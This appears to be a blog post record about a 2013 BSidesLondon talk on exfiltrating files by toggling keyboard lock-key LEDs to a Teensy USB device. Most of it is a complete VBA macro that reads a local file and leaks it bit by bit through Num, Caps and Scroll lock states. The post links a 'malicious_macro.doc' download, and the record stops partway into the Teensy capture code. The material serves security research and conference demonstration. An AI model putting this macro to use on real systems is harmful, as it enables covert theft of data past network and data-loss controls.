{"id":1029,"date":"2013-04-24T19:46:49","date_gmt":"2013-04-24T18:46:49","guid":{"rendered":"http:\/\/www.phillips321.co.uk\/?p=1029"},"modified":"2013-06-24T08:42:29","modified_gmt":"2013-06-24T07:42:29","slug":"blinking-hell-export-data-using-a-keyboard","status":"publish","type":"post","link":"https:\/\/www.phillips321.co.uk\/2013\/04\/24\/blinking-hell-export-data-using-a-keyboard\/","title":{"rendered":"Blinking Hell &#8211; Export Data Using A Keyboard"},"content":{"rendered":"<p>For those that can&#8217;t be bothered to read this post and just want the code, please <a href=\"https:\/\/blinking-hell.googlecode.com\/files\/malicious_macro.doc\" target=\"_blank\">see here<\/a>.<\/p>\n<p>So myself and <a href=\"https:\/\/twitter.com\/@scriptmonkey_\" target=\"_blank\">Rich Hicks<\/a> finally got around to talking about the work we had done with the Teensy. An ATMega, USB-based Microcontroller sold by <a href=\"http:\/\/www.pjrc.com\/teensy\/\" target=\"_blank\">pjrc.com<\/a><\/p>\n<p>I <a href=\"http:\/\/www.phillips321.co.uk\/2011\/08\/25\/teensy-keyboardlockkeys\/\" title=\"Teensy \u2013 KeyboardLockKeys\" target=\"_blank\">started work on this back in 2011<\/a> but didn&#8217;t take it any further until Rich came on board towards the end of 2011. We got some sample proof of concept code working but didn&#8217;t do anything further with it.<\/p>\n<p>We then heard that at <a href=\"http:\/\/www.securitybsides.org.uk\/\" target=\"_blank\">BSidesLondon 2013<\/a> they were starting a Rookie Track. For those that don&#8217;t know this was an opportunity for people who had never gave any talks before a chance to get up in front of a small crowd and test their bravery! <a href=\"https:\/\/blinking-hell.googlecode.com\/files\/Slides.pdf\" target=\"_blank\">Here are our slides.<\/a><\/p>\n<p>Here&#8217;s is a Demo of the attack in action.<br \/>\n<iframe loading=\"lazy\" width=\"500\" height=\"281\" src=\"https:\/\/www.youtube.com\/embed\/N8nyt4ugTnE?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen><\/iframe><\/p>\n<p>What our talk was about is using the teensy to capture the state of the keyboard lock states such as the Caps, Scroll and Num locks. The ability to capture these states allows the ability to export data by toggling these states.<\/p>\n<p>We used a Visual Basic for applications to export a binary stream using the keyboard states.<\/p>\n<div class=\"codecolorer-container vb vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;height:300px;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/>2<br \/>3<br \/>4<br \/>5<br \/>6<br \/>7<br \/>8<br \/>9<br \/>10<br \/>11<br \/>12<br \/>13<br \/>14<br \/>15<br \/>16<br \/>17<br \/>18<br \/>19<br \/>20<br \/>21<br \/>22<br \/>23<br \/>24<br \/>25<br \/>26<br \/>27<br \/>28<br \/>29<br \/>30<br \/>31<br \/>32<br \/>33<br \/>34<br \/>35<br \/>36<br \/>37<br \/>38<br \/>39<br \/>40<br \/>41<br \/>42<br \/>43<br \/>44<br \/>45<br \/>46<br \/>47<br \/>48<br \/>49<br \/>50<br \/>51<br \/>52<br \/>53<br \/>54<br \/>55<br \/>56<br \/>57<br \/>58<br \/>59<br \/>60<br \/>61<br \/>62<br \/>63<br \/>64<br \/>65<br \/>66<br \/>67<br \/>68<br \/>69<br \/>70<br \/>71<br \/>72<br \/>73<br \/>74<br \/>75<br \/>76<br \/>77<br \/>78<br \/>79<br \/>80<br \/>81<br \/>82<br \/>83<br \/>84<br \/>85<br \/>86<br \/>87<br \/>88<br \/>89<br \/>90<br \/>91<br \/>92<br \/>93<br \/>94<br \/>95<br \/>96<br \/>97<br \/>98<br \/>99<br \/>100<br \/>101<br \/>102<br \/>103<br \/>104<br \/>105<br \/>106<br \/>107<br \/>108<br \/>109<br \/>110<br \/>111<br \/>112<br \/>113<br \/>114<br \/>115<br \/>116<br \/>117<br \/>118<br \/>119<br \/>120<br \/>121<br \/>122<br \/>123<br \/>124<br \/>125<br \/>126<br \/>127<br \/>128<br \/>129<br \/>130<br \/>131<br \/>132<br \/>133<br \/>134<br \/>135<br \/>136<br \/>137<br \/>138<br \/>139<br \/>140<br \/>141<br \/>142<br \/>143<br \/>144<br \/>145<br \/>146<br \/>147<br \/>148<br \/>149<br \/>150<br \/>151<br \/>152<br \/>153<br \/>154<br \/>155<br \/>156<br \/>157<br \/>158<br \/>159<br \/>160<br \/>161<br \/>162<br \/>163<br \/>164<br \/>165<br \/>166<br \/>167<br \/>168<br \/>169<br \/>170<br \/>171<br \/>172<br \/>173<br \/>174<br \/>175<br \/>176<br \/>177<br \/>178<br \/>179<br \/>180<br \/>181<br \/>182<br \/>183<br \/>184<br \/>185<br \/>186<br \/>187<br \/><\/div><\/td><td><div class=\"vb codecolorer\"><span class=\"kw2\">Private<\/span> <span class=\"kw4\">Declare<\/span> <span class=\"kw2\">Function<\/span> GetKeyState Lib <span class=\"st0\">&quot;user32&quot;<\/span> (<span class=\"kw4\">ByVal<\/span> nVirtKey <span class=\"kw4\">As<\/span> <span class=\"kw1\">Long<\/span>) <span class=\"kw4\">As<\/span> <span class=\"kw1\">Integer<\/span><br \/>\n<span class=\"kw2\">Private<\/span> <span class=\"kw4\">Declare<\/span> <span class=\"kw2\">Sub<\/span> keybd_event Lib <span class=\"st0\">&quot;user32.dll&quot;<\/span> (<span class=\"kw4\">ByVal<\/span> bVk <span class=\"kw4\">As<\/span> <span class=\"kw1\">Byte<\/span>, <span class=\"kw4\">ByVal<\/span> bScan <span class=\"kw4\">As<\/span> <span class=\"kw1\">Byte<\/span>, <span class=\"kw4\">ByVal<\/span> dwFlags <span class=\"kw4\">As<\/span> <span class=\"kw1\">Long<\/span>, <span class=\"kw4\">ByVal<\/span> dwExtraInfo <span class=\"kw4\">As<\/span> <span class=\"kw1\">Long<\/span>)<br \/>\n<span class=\"kw2\">Private<\/span> <span class=\"kw4\">Declare<\/span> <span class=\"kw2\">Sub<\/span> Sleep Lib <span class=\"st0\">&quot;kernel32&quot;<\/span> (<span class=\"kw4\">ByVal<\/span> dwMilliseconds <span class=\"kw4\">As<\/span> <span class=\"kw1\">Long<\/span>)<br \/>\n<span class=\"kw4\">Dim<\/span> numStateVar <span class=\"kw4\">As<\/span> <span class=\"kw1\">Integer<\/span><br \/>\n<br \/>\n<span class=\"kw2\">Sub<\/span> ExportData()<br \/>\n<span class=\"co1\">' Note: The entire file will be read into memory, so if its massive, you're gonna use loads of memory<\/span><br \/>\n<span class=\"co1\">'<\/span><br \/>\n<span class=\"kw4\">Dim<\/span> sFileName <span class=\"kw4\">As<\/span> <span class=\"kw1\">String<\/span><br \/>\n<span class=\"kw4\">Dim<\/span> iFileNum <span class=\"kw4\">As<\/span> <span class=\"kw1\">Double<\/span><br \/>\nsFileName = <span class=\"st0\">&quot;C:\\test.txt&quot;<\/span> <span class=\"co1\">'This is the text file we are going to export<\/span><br \/>\n<span class=\"kw4\">Dim<\/span> btAR() <span class=\"kw4\">As<\/span> <span class=\"kw1\">Byte<\/span><br \/>\n<span class=\"kw4\">Dim<\/span> i <span class=\"kw4\">As<\/span> <span class=\"kw1\">Long<\/span><br \/>\n<span class=\"kw4\">Dim<\/span> Str <span class=\"kw4\">As<\/span> <span class=\"kw1\">String<\/span><br \/>\n<span class=\"kw4\">Dim<\/span> toSendLength <span class=\"kw4\">As<\/span> <span class=\"kw1\">Integer<\/span><br \/>\n<span class=\"kw4\">Dim<\/span> PosInSendString <span class=\"kw4\">As<\/span> <span class=\"kw1\">Integer<\/span><br \/>\n<span class=\"kw4\">Dim<\/span> endCount <span class=\"kw4\">As<\/span> <span class=\"kw1\">Integer<\/span><br \/>\n<span class=\"kw4\">Let<\/span> PosInSendString = 1<br \/>\n<span class=\"kw4\">Let<\/span> endCount = 0<br \/>\n<br \/>\niFileNum = FreeFile<br \/>\n<br \/>\n<span class=\"kw4\">ReDim<\/span> btAR(1 <span class=\"kw3\">To<\/span> FileLen(sFileName))<br \/>\n<br \/>\n<span class=\"kw4\">Open<\/span> sFileName <span class=\"kw3\">For<\/span> <span class=\"kw1\">Binary<\/span> Access Read <span class=\"kw4\">As<\/span> #iFileNum<br \/>\n<span class=\"kw4\">Get<\/span> #iFileNum, 1, btAR()<br \/>\n<span class=\"kw3\">Close<\/span> iFileNum<br \/>\n<br \/>\nDebug.<span class=\"kw4\">Print<\/span> <span class=\"st0\">&quot;###### Start ######&quot;<\/span><br \/>\nDebug.<span class=\"kw4\">Print<\/span> <span class=\"st0\">&quot;Characters: &quot;<\/span> &amp; FileLen(sFileName)<br \/>\n<span class=\"kw2\">Call<\/span> AllOff<br \/>\n<span class=\"kw2\">Call<\/span> ScrollOn_Click<br \/>\nSleep (1000)<br \/>\n<span class=\"kw2\">Call<\/span> ScrollOn_Click<br \/>\nSleep (1000)<br \/>\n<span class=\"kw2\">Call<\/span> ScrollOn_Click<br \/>\nSleep (50)<br \/>\n<span class=\"kw2\">Call<\/span> AllOff<br \/>\nSleep (1000)<br \/>\n<span class=\"kw2\">Call<\/span> CapsOn_Click<br \/>\n<br \/>\n<span class=\"kw3\">For<\/span> <span class=\"kw3\">Each<\/span> tByte <span class=\"kw3\">In<\/span> btAR<br \/>\n&nbsp; &nbsp; toSendHex = Hex(tByte) <span class=\"co1\">'Clear current status of togglekeys<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw3\">If<\/span> (Hex(tByte) = 0) <span class=\"kw3\">Then<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; toSendHex = <span class=\"st0\">&quot;00&quot;<\/span> <span class=\"co1\">' Hack to get around limitations of unquoted strings in VB. 00 gets shortened to 0 and corrupts files.<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw3\">End<\/span> <span class=\"kw3\">If<\/span><br \/>\n&nbsp; &nbsp; <br \/>\n&nbsp; &nbsp; toSendLength = Len(h2b(toSendHex))<br \/>\n&nbsp; &nbsp; <br \/>\n&nbsp; &nbsp; Debug.<span class=\"kw4\">Print<\/span> <span class=\"st0\">&quot;Len:&quot;<\/span>; toSendLength; <span class=\"st0\">&quot;BYTE:&quot;<\/span>; tByte; <span class=\"st0\">&quot;Hex:&quot;<\/span>; Hex(tByte); <span class=\"st0\">&quot; SendHex:&quot;<\/span>; toSendHex; <span class=\"st0\">&quot; Bin:&quot;<\/span>; h2b(Hex(tByte)); <span class=\"st0\">&quot; SendBin:&quot;<\/span>; h2b(toSendHex)<br \/>\n&nbsp; &nbsp; <br \/>\n&nbsp; &nbsp; <span class=\"kw3\">Do<\/span> <span class=\"kw3\">Until<\/span> PosInSendString = toSendLength + 1<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw3\">If<\/span> CapsLockOn = <span class=\"kw5\">True<\/span> <span class=\"kw3\">Then<\/span> <span class=\"co1\">'PC has control<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Sleep (150)<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; char_val = Mid(h2b(toSendHex), PosInSendString, 1) <span class=\"co1\">' Convert to binary.<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw3\">If<\/span> char_val = <span class=\"st0\">&quot;0&quot;<\/span> <span class=\"kw3\">Then<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw2\">Call<\/span> NumOff_Click <span class=\"co1\">' send 0<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw3\">ElseIf<\/span> char_val = <span class=\"st0\">&quot;1&quot;<\/span> <span class=\"kw3\">Then<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw2\">Call<\/span> NumOn_Click &nbsp;<span class=\"co1\">' send 1<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw3\">Else<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Debug.<span class=\"kw4\">Print<\/span> <span class=\"st0\">&quot;Something Broke Here&quot;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw3\">End<\/span> <span class=\"kw3\">If<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw4\">Let<\/span> PosInSendString = PosInSendString + 1 <span class=\"co1\">' add 1 to value of PosInSendString<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw2\">Call<\/span> CapsOff_Click <span class=\"co1\">' turn caps lock off - relinquish control<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw2\">Call<\/span> ScrollOn_Click <span class=\"co1\">' turn scroll lock on - give teensy control.<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw3\">End<\/span> <span class=\"kw3\">If<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw3\">DoEvents<\/span> <span class=\"co1\">' Stops it hanging.<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw3\">Loop<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw4\">Let<\/span> PosInSendString = 1<br \/>\n<span class=\"kw3\">Next<\/span><br \/>\n<br \/>\n<span class=\"co1\">'For Each tByte In btAR<\/span><br \/>\n&nbsp; &nbsp; <span class=\"co1\">'toSendHex = Hex(tByte) 'Clear current status of togglekeys<\/span><br \/>\n&nbsp; &nbsp; <span class=\"co1\">'If (Hex(tByte) = 0) Then<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; toSendHex = <span class=\"st0\">&quot;FF&quot;<\/span> <span class=\"co1\">' Hack to get around limitations of unquoted strings in VB. 00 gets shortened to 0 and corrupts files.<\/span><br \/>\n&nbsp; &nbsp; <span class=\"co1\">'End If<\/span><br \/>\n&nbsp; &nbsp; toSendLength = Len(h2b(toSendHex))<br \/>\n&nbsp; &nbsp; <br \/>\n&nbsp; &nbsp; Debug.<span class=\"kw4\">Print<\/span> <span class=\"st0\">&quot;Len:&quot;<\/span>; toSendLength; <span class=\"st0\">&quot;BYTE:&quot;<\/span>; tByte; <span class=\"st0\">&quot;Hex:&quot;<\/span>; Hex(tByte); <span class=\"st0\">&quot; SendHex:&quot;<\/span>; toSendHex; <span class=\"st0\">&quot; Bin:&quot;<\/span>; h2b(Hex(tByte)); <span class=\"st0\">&quot; SendBin:&quot;<\/span>; h2b(toSendHex)<br \/>\n&nbsp; &nbsp; <br \/>\n&nbsp; &nbsp; <span class=\"kw3\">Do<\/span> <span class=\"kw3\">Until<\/span> PosInSendString = toSendLength + 1<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw3\">If<\/span> CapsLockOn = <span class=\"kw5\">True<\/span> <span class=\"kw3\">Then<\/span> <span class=\"co1\">'PC has control<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Sleep (150)<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; char_val = Mid(h2b(toSendHex), PosInSendString, 1) <span class=\"co1\">' Convert to binary.<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw3\">If<\/span> char_val = <span class=\"st0\">&quot;0&quot;<\/span> <span class=\"kw3\">Then<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw2\">Call<\/span> NumOff_Click <span class=\"co1\">' send 0<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw3\">ElseIf<\/span> char_val = <span class=\"st0\">&quot;1&quot;<\/span> <span class=\"kw3\">Then<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw2\">Call<\/span> NumOn_Click &nbsp;<span class=\"co1\">' send 1<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw3\">Else<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Debug.<span class=\"kw4\">Print<\/span> <span class=\"st0\">&quot;Something Broke Here&quot;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw3\">End<\/span> <span class=\"kw3\">If<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw4\">Let<\/span> PosInSendString = PosInSendString + 1 <span class=\"co1\">' add 1 to value of PosInSendString<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw2\">Call<\/span> CapsOff_Click <span class=\"co1\">' turn caps lock off - relinquish control<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw2\">Call<\/span> ScrollOn_Click <span class=\"co1\">' turn scroll lock on - give teensy control.<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw3\">End<\/span> <span class=\"kw3\">If<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw3\">DoEvents<\/span> <span class=\"co1\">' Stops it hanging.<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw3\">Loop<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw4\">Let<\/span> PosInSendString = 1<br \/>\n<span class=\"co1\">'Next<\/span><br \/>\n<br \/>\n<span class=\"co1\">' Convert bytes to string<\/span><br \/>\nStr = StrConv(btAR, vbUnicode)<br \/>\nDebug.<span class=\"kw4\">Print<\/span> <span class=\"st0\">&quot;'&quot;<\/span> &amp; Str &amp; <span class=\"st0\">&quot;'&quot;<\/span><br \/>\nDebug.<span class=\"kw4\">Print<\/span> <span class=\"st0\">&quot;###### End ######&quot;<\/span><br \/>\n<span class=\"kw2\">Call<\/span> AllOff <span class=\"co1\">' set all off<\/span><br \/>\n<span class=\"kw3\">End<\/span> <span class=\"kw2\">Sub<\/span><br \/>\n<br \/>\n<span class=\"kw2\">Function<\/span> CapsLockOn() <span class=\"kw4\">As<\/span> <span class=\"kw1\">Boolean<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw4\">Dim<\/span> x <span class=\"kw4\">As<\/span> <span class=\"kw1\">Integer<\/span><br \/>\n&nbsp; &nbsp; x = GetKeyState(&amp;H14)<br \/>\n&nbsp; &nbsp; CapsLockOn = (x = 1 <span class=\"kw3\">Or<\/span> x = -127)<br \/>\n<span class=\"kw3\">End<\/span> <span class=\"kw2\">Function<\/span><br \/>\n<br \/>\n<span class=\"kw2\">Function<\/span> NumLockOn() <span class=\"kw4\">As<\/span> <span class=\"kw1\">Boolean<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw4\">Dim<\/span> x <span class=\"kw4\">As<\/span> <span class=\"kw1\">Integer<\/span><br \/>\n&nbsp; &nbsp; x = GetKeyState(&amp;H90)<br \/>\n&nbsp; &nbsp; NumLockOn = (x = 1 <span class=\"kw3\">Or<\/span> x = -127)<br \/>\n<span class=\"kw3\">End<\/span> <span class=\"kw2\">Function<\/span><br \/>\n<br \/>\n<span class=\"kw2\">Function<\/span> ScrollLockOn() <span class=\"kw4\">As<\/span> <span class=\"kw1\">Boolean<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw4\">Dim<\/span> x <span class=\"kw4\">As<\/span> <span class=\"kw1\">Integer<\/span><br \/>\n&nbsp; &nbsp; x = GetKeyState(&amp;H91)<br \/>\n&nbsp; &nbsp; ScrollLockOn = (x = 1 <span class=\"kw3\">Or<\/span> x = -127)<br \/>\n<span class=\"kw3\">End<\/span> <span class=\"kw2\">Function<\/span><br \/>\n<br \/>\n<span class=\"kw2\">Private<\/span> <span class=\"kw2\">Sub<\/span> NumOn_Click()<br \/>\n&nbsp; &nbsp; <span class=\"kw3\">If<\/span> NumLockOn = <span class=\"kw5\">False<\/span> <span class=\"kw3\">Then<\/span> <span class=\"co1\">'If it's off then turn on, else do nothing<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; keybd_event &amp;H90, &amp;H45, &amp;H1 <span class=\"kw3\">Or<\/span> 0, 0<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; keybd_event &amp;H90, &amp;H45, &amp;H1 <span class=\"kw3\">Or<\/span> &amp;H2, 0<br \/>\n&nbsp; &nbsp; <span class=\"kw3\">End<\/span> <span class=\"kw3\">If<\/span><br \/>\n<span class=\"kw3\">End<\/span> <span class=\"kw2\">Sub<\/span><br \/>\n<br \/>\n<span class=\"kw2\">Private<\/span> <span class=\"kw2\">Sub<\/span> NumOff_Click()<br \/>\n&nbsp; &nbsp; <span class=\"kw3\">If<\/span> NumLockOn = <span class=\"kw5\">True<\/span> <span class=\"kw3\">Then<\/span> <span class=\"co1\">'If it's on then turn off, else do nothing<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; keybd_event &amp;H90, &amp;H45, &amp;H1 <span class=\"kw3\">Or<\/span> 0, 0<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; keybd_event &amp;H90, &amp;H45, &amp;H1 <span class=\"kw3\">Or<\/span> &amp;H2, 0<br \/>\n&nbsp; &nbsp; <span class=\"kw3\">End<\/span> <span class=\"kw3\">If<\/span><br \/>\n<span class=\"kw3\">End<\/span> <span class=\"kw2\">Sub<\/span><br \/>\n<br \/>\n<span class=\"kw2\">Private<\/span> <span class=\"kw2\">Sub<\/span> CapsOn_Click()<br \/>\n&nbsp; &nbsp; <span class=\"kw3\">If<\/span> CapsLockOn = <span class=\"kw5\">False<\/span> <span class=\"kw3\">Then<\/span> <span class=\"co1\">'If it's off then turn on, else do nothing<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; keybd_event &amp;H14, &amp;H45, &amp;H1 <span class=\"kw3\">Or<\/span> 0, 0<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; keybd_event &amp;H14, &amp;H45, &amp;H1 <span class=\"kw3\">Or<\/span> &amp;H2, 0<br \/>\n&nbsp; &nbsp; <span class=\"kw3\">End<\/span> <span class=\"kw3\">If<\/span><br \/>\n<span class=\"kw3\">End<\/span> <span class=\"kw2\">Sub<\/span><br \/>\n<br \/>\n<span class=\"kw2\">Private<\/span> <span class=\"kw2\">Sub<\/span> CapsOff_Click()<br \/>\n&nbsp; &nbsp; <span class=\"kw3\">If<\/span> CapsLockOn = <span class=\"kw5\">True<\/span> <span class=\"kw3\">Then<\/span> <span class=\"co1\">'If it's on then turn off, else do nothing<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; keybd_event &amp;H14, &amp;H45, &amp;H1 <span class=\"kw3\">Or<\/span> 0, 0<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; keybd_event &amp;H14, &amp;H45, &amp;H1 <span class=\"kw3\">Or<\/span> &amp;H2, 0<br \/>\n&nbsp; &nbsp; <span class=\"kw3\">End<\/span> <span class=\"kw3\">If<\/span><br \/>\n<span class=\"kw3\">End<\/span> <span class=\"kw2\">Sub<\/span><br \/>\n<br \/>\n<span class=\"kw2\">Private<\/span> <span class=\"kw2\">Sub<\/span> ScrollOn_Click()<br \/>\n&nbsp; &nbsp; <span class=\"kw3\">If<\/span> ScrollLockOn = <span class=\"kw5\">False<\/span> <span class=\"kw3\">Then<\/span> <span class=\"co1\">'If it's off then turn on, else do nothing<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; keybd_event &amp;H91, &amp;H45, &amp;H1 <span class=\"kw3\">Or<\/span> 0, 0<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; keybd_event &amp;H91, &amp;H45, &amp;H1 <span class=\"kw3\">Or<\/span> &amp;H2, 0<br \/>\n&nbsp; &nbsp; <span class=\"kw3\">End<\/span> <span class=\"kw3\">If<\/span><br \/>\n<span class=\"kw3\">End<\/span> <span class=\"kw2\">Sub<\/span><br \/>\n<br \/>\n<span class=\"kw2\">Private<\/span> <span class=\"kw2\">Sub<\/span> ScrollOff_Click()<br \/>\n&nbsp; &nbsp; <span class=\"kw3\">If<\/span> ScrollLockOn = <span class=\"kw5\">True<\/span> <span class=\"kw3\">Then<\/span> <span class=\"co1\">'If it's on then turn off, else do nothing<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; keybd_event &amp;H91, &amp;H45, &amp;H1 <span class=\"kw3\">Or<\/span> 0, 0<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; keybd_event &amp;H91, &amp;H45, &amp;H1 <span class=\"kw3\">Or<\/span> &amp;H2, 0<br \/>\n&nbsp; &nbsp; <span class=\"kw3\">End<\/span> <span class=\"kw3\">If<\/span><br \/>\n<span class=\"kw3\">End<\/span> <span class=\"kw2\">Sub<\/span><br \/>\n<br \/>\n<span class=\"kw2\">Function<\/span> AllOff() <span class=\"kw4\">As<\/span> <span class=\"kw1\">Boolean<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw2\">Call<\/span> NumOff_Click<br \/>\n&nbsp; &nbsp; <span class=\"kw2\">Call<\/span> CapsOff_Click<br \/>\n&nbsp; &nbsp; <span class=\"kw2\">Call<\/span> ScrollOff_Click<br \/>\n<span class=\"kw3\">End<\/span> <span class=\"kw2\">Function<\/span><br \/>\n<br \/>\n<span class=\"kw2\">Function<\/span> h2b(hstr)<br \/>\n<span class=\"co1\">'convert hex string to binary string<\/span><br \/>\n&nbsp; &nbsp; cnvarr = Array(<span class=\"st0\">&quot;0000&quot;<\/span>, <span class=\"st0\">&quot;0001&quot;<\/span>, <span class=\"st0\">&quot;0010&quot;<\/span>, <span class=\"st0\">&quot;0011&quot;<\/span>, _<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class=\"st0\">&quot;0100&quot;<\/span>, <span class=\"st0\">&quot;0101&quot;<\/span>, <span class=\"st0\">&quot;0110&quot;<\/span>, <span class=\"st0\">&quot;0111&quot;<\/span>, <span class=\"st0\">&quot;1000&quot;<\/span>, _<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class=\"st0\">&quot;1001&quot;<\/span>, <span class=\"st0\">&quot;1010&quot;<\/span>, <span class=\"st0\">&quot;1011&quot;<\/span>, <span class=\"st0\">&quot;1100&quot;<\/span>, <span class=\"st0\">&quot;1101&quot;<\/span>, _<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class=\"st0\">&quot;1110&quot;<\/span>, <span class=\"st0\">&quot;1111&quot;<\/span>)<br \/>\n&nbsp; &nbsp; bstr = <span class=\"st0\">&quot;&quot;<\/span><br \/>\n&nbsp; &nbsp; <span class=\"kw3\">For<\/span> i = 1 <span class=\"kw3\">To<\/span> Len(hstr)<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; hdgt = Mid(hstr, i, 1)<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; cix = CInt(<span class=\"st0\">&quot;&amp;H&quot;<\/span> &amp; hdgt)<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; bstr = bstr &amp; cnvarr(cix)<br \/>\n&nbsp; &nbsp; <span class=\"kw3\">Next<\/span><br \/>\n&nbsp; &nbsp; h2b = bstr<br \/>\n<span class=\"kw3\">End<\/span> <span class=\"kw2\">Function<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>and we used the following code on the teensy to capture the data:<\/p>\n<div class=\"codecolorer-container cpp vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;height:300px;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/>2<br \/>3<br \/>4<br \/>5<br \/>6<br \/>7<br \/>8<br \/>9<br \/>10<br \/>11<br \/>12<br \/>13<br \/>14<br \/>15<br \/>16<br \/>17<br \/>18<br \/>19<br \/>20<br \/>21<br \/>22<br \/>23<br \/>24<br \/>25<br \/>26<br \/>27<br \/>28<br \/>29<br \/>30<br \/>31<br \/>32<br \/>33<br \/>34<br \/>35<br \/>36<br \/>37<br \/>38<br \/>39<br \/>40<br \/>41<br \/>42<br \/>43<br \/>44<br \/>45<br \/>46<br \/>47<br \/>48<br \/>49<br \/>50<br \/>51<br \/>52<br \/>53<br \/>54<br \/>55<br \/>56<br \/>57<br \/>58<br \/>59<br \/>60<br \/>61<br \/>62<br \/>63<br \/>64<br \/>65<br \/>66<br \/>67<br \/>68<br \/>69<br \/>70<br \/>71<br \/>72<br \/>73<br \/>74<br \/>75<br \/>76<br \/>77<br \/>78<br \/>79<br \/>80<br \/>81<br \/>82<br \/>83<br \/>84<br \/>85<br \/>86<br \/>87<br \/>88<br \/>89<br \/>90<br \/>91<br \/>92<br \/>93<br \/>94<br \/>95<br \/>96<br \/>97<br \/>98<br \/>99<br \/>100<br \/>101<br \/>102<br \/>103<br \/>104<br \/>105<br \/>106<br \/>107<br \/>108<br \/>109<br \/>110<br \/>111<br \/>112<br \/>113<br \/>114<br \/>115<br \/>116<br \/>117<br \/>118<br \/>119<br \/>120<br \/>121<br \/>122<br \/>123<br \/>124<br \/>125<br \/>126<br \/>127<br \/>128<br \/>129<br \/>130<br \/>131<br \/>132<br \/>133<br \/>134<br \/>135<br \/>136<br \/>137<br \/>138<br \/>139<br \/>140<br \/>141<br \/>142<br \/>143<br \/>144<br \/>145<br \/>146<br \/>147<br \/>148<br 